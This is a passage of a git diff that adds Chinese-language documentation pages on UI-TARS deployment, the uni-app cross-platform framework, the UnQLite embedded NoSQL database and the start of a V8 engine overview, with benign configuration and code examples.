vLLM(`vllm>=0.6.1`)。7B 模型一般 `-tp 1`,72B 常用 `-tp 4`: + +```bash +python -m vllm.entrypoints.openai.api_server \ + --served-model-name ui-tars \ + --model ByteDance-Seed/UI-TARS-1.5-7B \ + --limit-mm-per-prompt image=5 \ + -tp 1 +``` + +客户端用 OpenAI SDK,把截图 base64 塞进 multimodal message,并套上 `COMPUTER_USE` 系统 prompt(仓库 `prompt.py` 中有完整模板)。伪代码骨架: + +```python +import base64 +from openai import OpenAI + +client = OpenAI(base_url="http://127.0.0.1:8000/v1", api_key="EMPTY") + +with open("screen.png", "rb") as f: + b64 = base64.b64encode(f.read()).decode() + +messages = [ + {"role": "system", "content": COMPUTER_USE_PROMPT}, + { + "role": "user", + "content": [ + {"type": "text", "text": "任务:打开浏览器并访问 example.com"}, + { + "type": "image_url", + "image_url": {"url": f"data:image/png;base64,{b64}"}, + }, + ], + }, +] + +resp = client.chat.completions.create( + model="ui-tars", + messages=messages, + temperature=0.0, + max_tokens=400, +) +raw = resp.choices[0].message.content +# 再把 raw 交给案例 1 的 action_parser +``` + +HuggingFace Endpoints 部署时,官方还建议设置 `CUDA_GRAPHS=0`、`PAYLOAD_LIMIT=8000000`,避免大图请求失败——这是云部署常见的「能起服务但一截图就 413」问题。 + +### 案例 3:多步 Agent 循环(概念伪代码) + +真实任务很少一步完成。外层要维护**截图 → 推理 → 执行 → 再截图**循环,并把历史 Thought/Action 写回对话: + +```python +history = [] +for step in range(max_steps): + screenshot = capture_screen() # 与 origin_resized_* 对齐 + history.append(user_message(task, screenshot)) + raw = call_ui_tars_api(history) + history.append({"role": "assistant", "content": raw}) + + actions = parse_action_to_structure_output(raw, ...) + execute_on_host(actions) # pyautogui / desktop operator + + if task_done(raw) or same_screen_stuck(screenshot): + break +``` + +UI-TARS-desktop、OSWorld 官方 `run_uitars.py`、[[midscene]] 的 UI-TARS provider 本质上都是这个 loop 的不同工程封装。 + +## 踩过的坑 + +1. **坐标系不一致是头号 bug**:模型按 resize 后尺寸归一化,执行器按物理分辨率点击——少传 `origin_resized_*` 或 Retina 屏 DPI 翻倍,就会出现系统性偏移。 +2. **7B 与满血 1.5 能力差距大**:公开 7B 偏通用桌面;游戏、复杂推理场景官方明确说仍不如完整 1.5。别用 7B 跑 Minecraft 然后得出「UI-TARS 不行」的结论。 +3. **Thought 增加 token 与延迟**:推理时 scaling 友好,但在线产品每步多几百 token;`GROUNDING` 或剥离 Thought 是常见优化。 +4. **安全与滥用**:论文和 README 都提到 CAPTCHA、未授权自动化等风险——生产环境要有人工确认、速率限制、审计日志,别裸放公网 API。 +5. **幻觉仍然存在**:按钮认成相邻图标、在错误窗口上点击,在陌生软件或深色主题下更明显;需要外层校验(截图 diff、关键步骤 assert)。 +6. **算力成本**:72B-DPO 效果最好,但单卡很难跑;云 Endpoint L40S 48G 是 7B 的参考配置,预算要先算清楚。 + +## 适用 vs 不适用场景 + +**适用**: + +- 研究 GUI Agent、复现 OSWorld / AndroidWorld / ScreenSpot 论文数字 +- 自托管多模态 agent,希望**动作语法统一**且可换 executor +- 桌面自动化原型(配合 UI-TARS-desktop 或自写 pyautogui loop) +- 浏览器自动化且愿用 [[midscene]] 等已集成 UI-TARS 的 SDK +- 需要 **Thought 链** 做可解释 demo 或强化学习数据收集 + +**不适用**: + +- 只想稳定跑 CI e2e、毫秒级反馈(应用 [[playwright]] + 传统 selector,或 [[stagehand]] 的确定性优先路线) +- 无 GPU、不愿买云推理——每次截图调 7B 多模态成本远高于纯文本 LLM +- 强合规场景不允许模型看见全屏敏感信息(银行、医疗终端) +- 期望「pip install 就能自动操作一切」——本仓库是模型 + 解析器,不是开箱产品 + +## 历史小故事(可跳过) + +- **2025-01**:论文 *UI-TARS: Pioneering Automated GUI Interaction with Native Agents*(arXiv:2501.12326)发布,提出原生 agent 训练范式。 +- **2025-03**:OSWorld 官方仓库合并 `run_uitars.py`,社区可复现桌面 agent 基准。 +- **2025-04**:UI-TARS-1.5 开源,强调 RL 增强的 Thought-Action 与游戏场景;7B 权重上 Hugging Face。 +- **2025-09**:UI-TARS-2 技术报告,向 GUI + 游戏 + 代码 + Tool Use 一体化扩展。 +- **生态**:UI-TARS-desktop 与 Agent TARS 分家又统一在 `UI-TARS-desktop` monorepo;浏览器侧 [[midscene]] 把 UI-TARS 列为内置 VLM 之一。 + +## 学到什么 + +- **「原生」指的是训练目标,不是魔法**:模型仍可能幻觉;工程上 executor、坐标映射、循环控制一样不能省。 +- **坐标是 GUI Agent 的隐形接口**:比 prompt 工程还值得单独写单元测试;Retina、多显示器、窗口缩放都会破坏 grounding。 +- **Thought 是精度与成本的旋钮**:研究/长任务偏向保留;低延迟产品偏向 `GROUNDING` 或蒸馏掉 Thought。 +- **模型 repo ≠ 产品**:零基础用户应从 UI-TARS-desktop 或 Midscene 入手;本仓库适合「我要看懂大脑怎么工作」的人。 +- **与 DOM 路线互补而非替代**:复杂 SPA 用 DOM 有时更省 token;canvas、跨平台、游戏画面则 VLM 原生路线更自然——和 [[midscene]] vs [[browser-use]] 的争论是同一光谱。 + +## 延伸阅读 + +- 论文:[UI-TARS arXiv:2501.12326](https://arxiv.org/abs/2501.12326) +- UI-TARS-2 报告:[arXiv:2509.02544](https://arxiv.org/abs/2509.02544) +- 模型权重:[Hugging Face ByteDance-Seed](https://huggingface.co/ByteDance-Seed) +- 部署指南:仓库 `README_deploy.md`(HuggingFace Endpoints) +- 坐标说明:仓库 `README_coordinates.md` +- 桌面产品:[UI-TARS-desktop](https://github.com/bytedance/UI-TARS-desktop) +- 博客:[Seed UI-TARS-1.5 发布说明](https://seed.bytedance.com/en/blog/bytedance-seed-agent-model-ui-tars-1-5-open-source-achieving-sota-performance-in-various-benchmarks) + +## 关联 + +- [[midscene]] —— 浏览器自动化 SDK,内置 UI-TARS 作为 VLM 后端之一 +- [[playwright]] —— 常见执行层;UI-TARS 负责「看+想」,Playwright 负责「点」 +- [[stagehand]] —— Playwright + LLM 混血框架,默认不绑定 UI-TARS 权重 +- [[browser-use]] —— DOM 树索引路线,与 UI-TARS 截图原生路线对比鲜明 +- [[openai-codex-cli]] —— 另一类「agent 操作计算机」产品形态,偏终端与代码而非 GUI 坐标 +- [[vllm]] —— 本地部署 UI-TARS 的常用推理引擎 diff --git a/src/content/docs/projects/uni-app.md b/src/content/docs/projects/uni-app.md new file mode 100644 index 000000000..063a3002b --- /dev/null +++ b/src/content/docs/projects/uni-app.md @@ -0,0 +1,320 @@ +--- +title: uni-app — 一套 Vue 代码跑遍小程序、H5 与 App +来源: https://github.com/dcloudio/uni-app +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +uni-app 是 DCloud 推出的**跨平台前端框架**:你用 Vue 语法写页面,同一套工程可以编译发布到 iOS、Android、鸿蒙、H5(响应式 Web)、以及微信/支付宝/百度/抖音/QQ/快手/钉钉/淘宝/京东/小红书等小程序与快应用。日常类比:uni-app 像一家连锁便利店的**统一供应链**——总部(你写的 Vue 代码)只定一份货品清单和陈列标准,各分店(各端运行时)按当地法规(平台 API)上架同款商品,顾客在哪家店买到的都是同一品牌,不必为每个城市单独建厂。 + +它和「把 H5 塞进 WebView 壳」不同。uni-app 在底层拆成**编译器 + 运行时**:编译器把 `.vue` 转成各端可执行的代码;运行时在各平台提供统一的组件、路由和 `uni` API 封装,必要时再通过条件编译调用平台专有能力的「加长货架」。 + +```bash +# 使用 HBuilderX 或 Vue CLI 创建项目(Vue 3 示例) +npx degit dcloudio/uni-preset-vue#vite-ts my-uni-app +cd my-uni-app +npm install +npm run dev:h5 # 浏览器预览 +npm run dev:mp-weixin # 微信开发者工具预览 +npm run build:app # 打包 App(需 HBuilderX 云打包或本地证书) +``` + +## 为什么重要 + +不理解 uni-app,以下场景容易选型失误或反复踩坑: + +- **业务要「小程序 + H5 + App」齐发**:自研三套前端团队成本极高;uni-app 让会 Vue 的团队用一套技能栈覆盖主流端 +- **已有 Vue H5 想进微信生态**:语法与组件模型接近 Vue + 小程序规范,迁移成本低于从零学各端原生 +- **各端 API 名称不一致**:`uni.request`、`uni.navigateTo` 等统一封装,屏蔽大部分 `wx.` / `my.` / `plus.` 差异 +- **与 Taro 的取舍**:Taro 偏 React/Vue 双栈 + 京东系验证;uni-app 默认 Vue 生态 + DCloud 工具链(HBuilderX、uniCloud、插件市场),国内小程序/App 案例与插件更丰富 +- **性能敏感页面**:App 端可选 `nvue` 原生渲染,比纯 WebView 的 `.vue` 页面更适合长列表、地图等场景 + +## 核心概念 + +uni-app 的技术栈可以拆成七块: + +### 1. 编译器 + 运行时(跨端原理) + +官方把跨端能力拆成两部分配合完成: + +| 部分 | 职责 | +|------|------| +| **编译器** | 解析 `.vue`、条件编译、把模板/脚本/样式转成目标平台代码 | +| **运行时(runtime)** | 在各端提供 Vue 运行时、页面路由、内置组件、`uni` API | + +- **小程序端**:runtime 类似「小程序版 Vue」,路由与组件多是对各小程序规范的转义 +- **Web 端**:在普通 Vue 项目上增加 uni 的 UI 库、路由框架和 `uni` 对象 +- **App 端**:逻辑层跑在 JS 引擎(Android 为 V8,iOS 为 JavaScriptCore),渲染层可选 WebView(`.vue`)或原生(`.nvue`) + +类比:编译器是「翻译官」,runtime 是「当地导游」——翻译官把中文稿子改成当地语言稿,导游在现场带你走正确的路和门禁(平台 API)。 + +### 2. 页面结构与路由 + +uni-app 采用**多页应用**模型(类似各端小程序),不是 SPA 单页: + +- 页面文件放在 `pages/` 目录,每个页面一个文件夹,主文件为 `index.vue` +- 在根目录 `pages.json` 注册页面路径、窗口样式、`tabBar`、分包等 +- 路由用 `uni.navigateTo`、`uni.redirectTo`、`uni.switchTab` 等 API,不用 Vue Router + +```json +{ + "pages": [ + { + "path": "pages/index/index", + "style": { "navigationBarTitleText": "首页" } + }, + { + "path": "pages/detail/detail", + "style": { "navigationBarTitleText": "详情" } + } + ], + "globalStyle": { + "navigationBarTextStyle": "black", + "navigationBarBackgroundColor": "#F8F8F8" + }, + "tabBar": { + "color": "#7A7E83", + "selectedColor": "#3cc51f", + "list": [ + { + "pagePath": "pages/index/index", + "text": "首页", + "iconPath": "static/tab-home.png", + "selectedIconPath": "static/tab-home-active.png" + }, + { + "pagePath": "pages/detail/detail", + "text": "详情", + "iconPath": "static/tab-detail.png", + "selectedIconPath": "static/tab-detail-active.png" + } + ] + } +} +``` + +### 3. 组件与标签 + +跨端使用内置组件,而非 HTML 标签(H5 编译后会映射为 DOM): + +| uni 组件 | 小程序 | H5(近似) | 说明 | +|----------|--------|------------|------| +| `view` | `view` | `div` | 布局容器 | +| `text` | `text` | `span` | 文本,支持嵌套 | +| `image` | `image` | `img` | 图片,`mode` 控制裁剪 | +| `button` | `button` | `button` | 按钮,注意各端默认样式差异 | +| `scroll-view` | `scroll-view` | 可滚动 div | 区域滚动 | + +样式支持 `class` + `rpx`(以 750 设计稿为基准的逻辑像素)、内联 `style`,以及 `scss`/`less` 等预处理器。 + +### 4. uni API 与网络请求 + +浏览器里的 `fetch` / `axios` 在小程序里不能直接用;统一走 `uni` 命名空间: + +```js +// 封装在页面或 composable 中 +export function fetchUserProfile(userId) { + return new Promise((resolve, reject) => { + uni.request({ + url: `https://api.example.com/users/${userId}`, + method: 'GET', + header: { Authorization: `Bearer ${getToken()}` }, + success: (res) => { + if (res.statusCode >= 200 && res.statusCode < 300) { + resolve(res.data) + } else { + reject(new Error(res.data?.message || '请求失败')) + } + }, + fail: reject, + }) + }) +} +``` + +常用 API 还包括:`uni.showToast`、`uni.setStorageSync`、`uni.getSystemInfoSync`、`uni.chooseImage` 等。App 端还可调用 `plus.*`(5+ Runtime)访问更底层的原生能力。 + +### 5. 条件编译(平台差异化) + +同一文件里为不同平台写不同代码,编译时只保留目标平台分支: + +```vue + + + + + +``` + +常见平台标识:`H5`、`MP-WEIXIN`、`MP-ALIPAY`、`APP-PLUS`、`APP-PLUS-NVUE` 等。`#ifndef` 表示「非某平台」。 + +### 6. Vue 版本与组合式 API + +uni-app 支持 Vue 2 与 Vue 3(新项目推荐 Vue 3 + `script setup`): + +```vue + + + + + + +``` + +页面生命周期除 Vue 的 `onMounted` 外,还有 uni 专用钩子(如 `onLoad`、`onShow`、`onPullDownRefresh`),需从 `@dcloudio/uni-app` 导入。 + +### 7. nvue、uniCloud 与生态扩展 + +- **nvue**:App 端原生渲染页面,使用 Weex 风格 flex 布局,适合高性能列表与动画;与 `.vue` 页面可通过路由混用 +- **uni_modules**:插件模块化规范,类似 npm 但针对 uni-app 组件与 SDK 分发 +- **uniCloud**:DCloud 提供的云开发(云函数、云数据库),与客户端 `uniCloud.callFunction` 深度集成 +- **uts**:类 TypeScript 的跨端原生插件语言,可写高性能原生模块 + +## 开发工具链 + +| 工具 | 用途 | +|------|------| +| **HBuilderX** | DCloud 官方 IDE,内置运行、调试、云打包、真机同步 | +| **Vue CLI / Vite 模板** | 习惯 VS Code / WebStorm 的开发者可用 CLI 创建 `uni-preset-vue` 项目 | +| **微信开发者工具** | 预览与调试 `dev:mp-weixin` 产物 | +| **uni 插件市场** | 登录、支付、地图、UI 库等成品模块 | + +本地调试常见命令: + +```bash +npm run dev:h5 +npm run dev:mp-weixin +npm run dev:mp-alipay +npm run build:h5 +npm run build:mp-weixin +``` + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| Vue.js | uni-app 基于 Vue 语法与响应式模型;Vue 3 项目用 `createSSRApp` 等入口由 `@dcloudio/uni-app` 封装 | +| 微信小程序 | 组件与 API 设计大量对齐微信规范,降低小程序开发心智负担 | +| Taro | 同为跨端方案;Taro 更偏 React 与编译时+运行时双轨,uni-app 更偏 Vue + DCloud 全家桶 | +| React Native | App 端 nvue 渲染思路接近 RN;uni-app 则强调「一套 Vue 代码」而非 RN 组件树 | +| Flutter | Flutter 自绘引擎、Dart 语言;uni-app 走 Web/小程序运行时转义,学习曲线对前端更友好 | +| uniCloud | 可选后端,与客户端同一厂商,适合中小项目快速全栈 | + +## 常见问题与最佳实践 + +1. **样式单位**:设计稿 750 宽时用 `rpx` 做自适应;固定边框可用 `px`。H5 需注意 `rpx` 与 rem 的换算。 +2. **图片与静态资源**:放 `static/` 目录,路径以 `/static/...` 引用;大图与字体注意各小程序包体积限制(主包一般 2MB 内)。 +3. **登录与支付**:各端差异大,优先用插件市场成熟方案,再用条件编译补边角。 +4. **避免直接使用 DOM/BOM**:`document`、`window` 仅在 H5 条件编译块中使用。 +5. **分包加载**:页面多时配置 `subPackages`,加快小程序首屏与通过审核。 +6. **TypeScript**:官方模板支持 TS;为 `uni` API 配置 `@dcloudio/types` 获得类型提示。 + +## 学习路径建议 + +1. 熟悉 Vue 3 基础(`ref`、`computed`、`script setup`) +2. 用 HBuilderX 或 Vite 模板跑通 H5 + 微信小程序双端预览 +3. 精读 `pages.json` 与页面生命周期文档 +4. 练习条件编译处理登录、分享等平台差异 +5. 需要 App 性能时了解 nvue 与原生插件;需要后端时了解 uniCloud + +## 参考资源 + +- 官方文档:https://uniapp.dcloud.net.cn +- GitHub 仓库:https://github.com/dcloudio/uni-app +- 跨端原理:https://uniapp.dcloud.net.cn/tutorial/ +- 条件编译:https://uniapp.dcloud.net.cn/tutorial/platform.html +- 插件市场:https://ext.dcloud.net.cn diff --git a/src/content/docs/projects/unqlite.md b/src/content/docs/projects/unqlite.md new file mode 100644 index 000000000..36dd63611 --- /dev/null +++ b/src/content/docs/projects/unqlite.md @@ -0,0 +1,235 @@ +--- +title: UnQLite — 嵌入式 NoSQL 数据库 +来源: https://github.com/symisc/unqlite +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +UnQLite 是 Symisc Systems 用 C 写的**嵌入式 NoSQL 数据库引擎**——没有独立服务器进程,整个库链接进你的程序,读写直接落到普通磁盘文件上。日常类比: + +- [[redis]] / MongoDB = **快递站**:要先有站点、再连 TCP、再寄件取件 +- [[sqlite]] = **带表格的医疗手册**:结构化 SQL,表 + 行 + 列 +- UnQLite = **抽屉里的双层收纳盒**:上层放 JSON 文档(像 MongoDB 的 collection),下层放任意字节的键值对(像 LevelDB / Berkeley DB),**一个 `.db` 文件装下全部** + +官方把 UnQLite 定位成「自包含、无服务器、零配置、事务型 NoSQL 引擎」。和 SQLite 的「SQL as a library」平行,UnQLite 走的是 **NoSQL as a library**:单文件跨平台(32/64 位、大小端可互拷),BSD 许可,核心 + Jx9 脚本引擎可 amalgamation 成**一个约 1.8 MB 的 C 源文件**直接 `#include` 进项目。 + +## 为什么重要 + +嵌入式场景里,「要 NoSQL 但不要运维」的选择并不多: + +- **IoT / 桌面工具 / 游戏存档**:不想起 Redis,也不想为简单 KV 引入 SQLite 的 SQL 层 +- **单文件便携**:U 盘拷走 `app.db` 就是完整数据,含 JSON collection 和原始 blob +- **双模存储**:同一 `unqlite_open()` 句柄上,C 代码走 KV API,Jx9 脚本走 Document API,无需两套数据库 +- **与 atlas 里 [[sqlite]] / [[redis]] 的区分**:SQLite 是关系型 SQL;Redis 是网络内存服务;UnQLite 是**进程内、磁盘持久、NoSQL 双接口**的 niche 选项 + +GitHub 星标不多(约 2k),但在 C/C++ 嵌入式 NoSQL 里资料完整、API 清晰,适合作为「轻量本地文档 + KV」的学习样本。 + +## 核心概念 + +UnQLite 的架构是**分层 + 可插拔存储引擎**,理解下面几条就能上手: + +### 1. 嵌入式(Embedded)与单文件 + +`unqlite_open(&pDb, "test.db", UNQLITE_OPEN_CREATE)` 打开或创建数据库。所有 collection、KV 记录、元数据都在**一个文件**里;也支持纯内存库(`:mem:`)。没有配置文件、没有守护进程。 + +### 2. 两条 API 路线 + +| 路线 | 用途 | 典型接口 | +|------|------|----------| +| **Key/Value Store** | 原始字节:字符串、blob、甚至整文件 mmap 进去 | `unqlite_kv_store`, `unqlite_kv_fetch_callback`, `unqlite_kv_delete` | +| **Document Store** | JSON 对象/数组,collection 语义 | 编译 Jx9 脚本 → `unqlite_vm_exec`,脚本里 `db_create` / `db_store` / `db_fetch` | + +两条路线**共用同一个 `unqlite*` 句柄**,可在同一事务里混用(注意错误处理与 rollback)。 + +### 3. Jx9 脚本语言 + +Document 层由 **Jx9** 驱动:语法接近 C/JavaScript,基于 JSON 类型,图灵完备。流程是 C 侧 `unqlite_compile()` 得到 `unqlite_vm*`,再 `unqlite_vm_exec()`。C 还可 `unqlite_create_function()` 注册原生函数供 Jx9 调用。 + +### 4. 事务(ACID)与并发 + +UnQLite 支持手动事务:`unqlite_begin`, `unqlite_commit`, `unqlite_rollback`。默认许多写操作在 `unqlite_close()` 时自动提交。引擎**线程安全、可重入**;多读者 + 单写者模型,适合嵌入而非高并发 Web 后端。 + +### 5. 存储引擎 + +内置两种 KV 引擎: + +- **磁盘**:Virtual Linear Hash(VLH),宣称 O(1) 查找 +- **内存**:哈希表或红黑树 + +可通过 `unqlite_lib_config(..., UNQLITE_LIB_CONFIG_STORAGE_ENGINE, ...)` 在运行时注册自定义引擎(Hash、B+Tree、LSM 等接口形态已定义)。 + +### 6. 游标(Cursor) + +`unqlite_kv_cursor_init` 可顺序/逆序扫描全部 KV,适合导出、迁移、调试——不像纯 KV 库只能按 key 点查。 + +## 实践案例 + +### 案例 1:C 语言 KV — 存、追加、读、删 + +最小可运行流程(摘自官方「5 minutes」示例的精简版): + +```c +#include +#include "unqlite.h" + +static int print_value(const void *pData, unsigned int nDataLen, void *pUserData) { + (void)pUserData; + fwrite(pData, 1, nDataLen, stdout); + putchar('\n'); + return UNQLITE_OK; +} + +int main(void) { + unqlite *pDb; + int rc; + + rc = unqlite_open(&pDb, "test.db", UNQLITE_OPEN_CREATE); + if (rc != UNQLITE_OK) return 1; + + /* 整值覆盖写入 */ + unqlite_kv_store(pDb, "greeting", -1, "Hello World", 11); + + /* 格式化写入(key 长度 -1 表示以 \\0 结尾的 C 字符串) */ + unqlite_kv_store_fmt(pDb, "date", -1, "Today: %d-%02d-%02d", 2026, 6, 13); + + /* append:同一 key 上拼接多段,适合日志式 value */ + unqlite_kv_append(pDb, "log", -1, "start ", 6); + unqlite_kv_append_fmt(pDb, "log", -1, "pid=%d", 4242); + + /* 回调读:不把整段 value 一次性拷进用户缓冲区,适合大 blob */ + unqlite_kv_fetch_callback(pDb, "greeting", -1, print_value, NULL); + + unqlite_kv_delete(pDb, "greeting", -1); + + unqlite_close(pDb); /* 自动 commit */ + return 0; +} +``` + +要点: + +- key/value 都是**字节数组**,长度显式传入;`-1` 表示 key 是 C 字符串 +- `unqlite_kv_append*` 与 `store` 不同:在已有 value 尾部追加 +- 出错时可 `unqlite_config(pDb, UNQLITE_CONFIG_ERR_LOG, ...)` 取日志,必要时 `unqlite_rollback(pDb)` + +### 案例 2:把多个文件打进一个「Tar 式」数据库 + +KV 层不限制 value 类型,官方示例用 mmap 整文件写入,O(1) 按文件名(key)取回: + +```c +#include "unqlite.h" + +int archive_files(unqlite *pDb, int argc, char **argv) { + for (int i = 1; i < argc; i++) { + void *pMap; + unqlite_int64 iSize; + const char *zName = argv[i]; + + if (unqlite_util_load_mmaped_file(zName, &pMap, &iSize) != UNQLITE_OK) + return -1; + + if (unqlite_kv_store(pDb, zName, -1, pMap, (int)iSize) != UNQLITE_OK) { + unqlite_util_release_mmaped_file(pMap, iSize); + return -1; + } + unqlite_util_release_mmaped_file(pMap, iSize); + } + return 0; +} +``` + +适合:嵌入式配置包、资源 bundle、离线素材库——**一个 db 文件替代 zip + 索引**。 + +### 案例 3:Jx9 Document Store — users collection + +Jx9 脚本(由 C 编译执行): + +```javascript +/* 创建 collection */ +if (!db_exists('users')) { + if (!db_create('users')) { return; } +} + +var users = [ + { name: 'james', age: 27, mail: 'dude@example.com' }, + { name: 'robert', age: 35, mail: 'rob@example.com' } +]; + +db_store('users', users); +db_store('users', { name: 'alex', age: 19, mail: 'alex@example.com' }); + +print "Total records: ", db_total_records('users'), JX9_EOL; + +var row = db_fetch_by_id('users', 1); +print row.name, " -> ", row.mail, JX9_EOL; +``` + +C 侧骨架: + +```c +const char *jx9_src = "/* 上面的脚本 */"; +unqlite *pDb; +unqlite_vm *pVm; + +unqlite_open(&pDb, "app.db", UNQLITE_OPEN_CREATE); +if (unqlite_compile(pDb, jx9_src, -1, &pVm) != UNQLITE_OK) { + /* UNQLITE_CONFIG_JX9_ERR_LOG 查看编译错误 */ + return 1; +} +unqlite_vm_exec(pVm); +unqlite_vm_release(pVm); +unqlite_close(pDb); +``` + +Document 记录在磁盘上用 **fastJSON** 格式存储;查询、聚合逻辑写在 Jx9 里,C 只负责编译与执行。 + +### 案例 4:KV 游标逆序扫描 + +```c +unqlite_kv_cursor *pCur; +unqlite_kv_cursor_init(pDb, &pCur); +unqlite_kv_cursor_last_entry(pCur); + +while (unqlite_kv_cursor_valid_entry(pCur)) { + /* unqlite_kv_cursor_key() / unqlite_kv_cursor_data() 消费当前项 */ + unqlite_kv_cursor_prev_entry(pCur); +} +unqlite_kv_cursor_release(pCur); +``` + +用于审计、导出全库、测试环境清理。 + +## 与 SQLite / Redis 怎么选 + +| 维度 | UnQLite | SQLite | Redis | +|------|---------|--------|-------| +| 进程模型 | 库内嵌 | 库内嵌 | 独立服务 | +| 数据模型 | KV + JSON collection | 关系表 + SQL | 内存数据结构 | +| 典型延迟 | 本地磁盘 | 本地磁盘 | 网络 + 内存 | +| 生态 / 工具 | 小 | 极大 | 极大 | +| 许可 | BSD | Public Domain | BSD(服务端) | + +**更适合 UnQLite**:C/C++ 程序要**单文件 NoSQL**、要 JSON 文档又不想嵌 MongoDB;配置/缓存/小工具数据。**不太适合**:复杂 SQL 分析、多机分布式、或已有成熟 ORM 的全栈 Web 主库。 + +## 踩过的坑 + +1. **Document 层必须走 Jx9**:不能指望纯 C API 插入 JSON;要么编译脚本,要么只用 KV 自己序列化 JSON 字符串。 +2. **append 与 store 语义不同**:对同一 key 误用 `append` 会不断变长 value,迁移前要想清覆盖还是追加。 +3. **错误码要显式处理**:`UNQLITE_BUSY`、`UNQLITE_COMPILE_ERR` 等分支官方示例都有;静默忽略会导致半写入状态。 +4. **社区与周边少**:没有 PostgreSQL 级别的 GUI、备份生态;生产用要自行封装监控与迁移。 +5. **与 SQLite 不是替代关系**:需要 JOIN、约束、成熟 SQL 工具链时仍应选 SQLite。 + +## 学习路径建议 + +1. 从 [UnQLite in 5 Minutes](https://unqlite.symisc.net/intro.html) 下载 amalgamation 单文件,编译案例 1。 +2. 读 [API Intro](https://unqlite.symisc.net/api_intro.html) 区分 KV / Document / Cursor / Transaction 接口族。 +3. 需要 Document 时读 [Introduction to Jx9](https://unqlite.symisc.net/jx9_intro.html),在脚本里试 `db_fetch_all`。 +4. 架构深入看 [Architecture](https://unqlite.symisc.net/arch.html) 里的存储引擎与 VM 分层。 + +## 小结 + +UnQLite 把 **Berkeley DB 式 KV** 和 **MongoDB 式 JSON collection** 塞进**一个嵌入式 C 库、一个数据库文件**里。零配置、ACID、跨平台单文件,是嵌入式 NoSQL 的清晰教科书实现;代价是生态小、Document 依赖 Jx9。零基础记住三句:**`unqlite_open` 打开抽屉;KV 用字节 API;JSON 用 Jx9 脚本。** 在此基础上再读游标、事务与自定义存储引擎,就够支撑小型本地数据项目。 diff --git a/src/content/docs/projects/v8.md b/src/content/docs/projects/v8.md new file mode 100644 index 000000000..f11ffa88b --- /dev/null +++ b/src/content/docs/projects/v8.md @@ -0,0 +1,306 @@ +--- +title: V8 — Chrome / Node 底层 JavaScript 引擎 +来源: https://github.com/v8/v8 +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**V8** 是 Google 开发的开源 **JavaScript 与 WebAssembly 引擎**,Chrome 浏览器、Node.js、Deno(早期)、Electron 等都在它上面跑你的 JS 代码。它负责把人类可读的 `.js` 变成 CPU 能执行的机器码,并管理堆内存、对象布局与垃圾回收。 + +日常类比:如果把 JavaScript 看成一门**外语演讲稿**,V8 就是会场里那套**同声传译系统**—— + +- **Ignition(解释器)** 像初级译员:稿子一来立刻开译,保证开场不冷场,同时偷偷记笔记(运行时反馈); +- **Sparkplug / Maglev / TurboFan(JIT 编译器)** 像资深译员:发现某段话被反复念(热点代码),就提前写好「固定译法」贴在耳边,下次直接念成品,速度接近母语; +- **Hidden Class(隐藏类 / Map)** 像给听众资料袋贴编号:同样结构的听众(对象)用同一套标签,译员不用每次翻通讯录; +- **Orinoco(垃圾回收器)** 像保洁队:会场里发过的传单(临时对象)大多当场回收,偶尔全场大扫除也不把演讲打断太久。 + +你写的 `console.log`、`async/await`、React 组件,在 Chrome 标签页或 `node server.js` 里,最终都由 V8 执行——只是外面再包了一层浏览器 API 或 Node 的 `libuv`。 + +## 为什么重要 + +不懂 V8,下面这些现象就很难说清: + +- **为什么同样一段循环,改一下对象写法速度差十倍**——隐藏类、元素种类(elements kind)、内联缓存(IC)在作怪 +- **为什么 Node 里 `JSON.parse` 大文件会卡,但小对象赋值很快**——解析走完整编译管线,热点函数才会被 TurboFan 优化 +- **为什么 Chrome DevTools 里能看到「优化已停用」**——推测优化失败触发 **deopt(去优化)**,回退到 Ignition 字节码 +- **为什么 `node --expose-gc` 能手动 GC**——V8 的 **Orinoco** 分代回收,老生代还能并发标记 +- **为什么 Deno/Bun 自称更快,却仍在和 V8 系生态纠缠**——V8 是事实上的服务端 JS 性能基准 + +## 核心概念 + +### 1. 分层编译管线(Tiered Compilation) + +现代 V8(Chrome 120+ / Node 20+)采用**多级 JIT**,在启动速度与峰值吞吐之间折中: + +``` +JS 源码 + │ 词法/语法分析 → AST + ▼ +Ignition 字节码(Tier 0)── 立即执行,收集 Feedback Vector + │ + ├─► Sparkplug 基线机器码(Tier 1)── 快编译,几乎不优化 + │ + ├─► Maglev 中层优化(Tier 2)── 较快编译,类型特化 + │ + └─► TurboFan + Turboshaft(Tier 3)── 慢编译,峰值性能 + │ + └── 假设失败 → Deoptimization → 回到 Ignition +``` + +| 层级 | 名称 | 编译耗时(量级) | 执行速度 | 角色 | +|------|------|------------------|----------|------| +| 0 | Ignition | ~10µs | 最慢 | 启动执行、收集反馈 | +| 1 | Sparkplug | ~100µs | 中等 | 快速原生码,无深度优化 | +| 2 | Maglev | ~1ms | 较快 | 轻量优化、内联 | +| 3 | TurboFan/Turboshaft | ~10–100ms | 接近原生 | 热点路径极致优化 | + +**Interrupt budget(中断预算)**:每个函数带有「热度计数」,循环/调用次数够了就触发上一层编译——你不用手动 `#pragma optimize`,引擎自己盯。 + +### 2. Ignition 字节码与反馈向量 + +Ignition 是**寄存器式**字节码解释器(不是栈机)。执行时,每个函数挂一份 **Feedback Vector**,记录: + +- 某次属性读取见过几种对象形状(monomorphic / polymorphic / megamorphic) +- 函数被如何调用(参数个数、类型) +- 数组元素是整数、双精度还是混合 + +TurboFan 读这些笔记做**推测优化**:「这里 1000 次都是同一 Map,我生成一条 `cmp map; jne deopt; mov eax, [obj+offset]` 的快速路径。」 + +### 3. Hidden Class(Map)与内联缓存 + +JavaScript 对象在运行时才能确定有哪些属性,但 V8 假设**同类对象会重复出现**。每添加一个属性,对象会沿 **Transition Tree** 迁移到新的 **Map**(隐藏类),记录每个属性在内存中的偏移。 + +好处: + +- 同 Map 的两个对象,读 `obj.x` 可以是**固定偏移加载**,不必哈希查表 +- TurboFan 可在编译期折叠 `globalObj.config.timeout` 这类**常量属性**(若证明未被改写) + +代价:运行中随意增删属性、或同一构造函数走出不同属性顺序,会让 Map 树分叉,优化退化为慢路径。 + +### 4. 元素种类(Elements Kind) + +数组在 V8 内部不只是一段 `Array`:还有 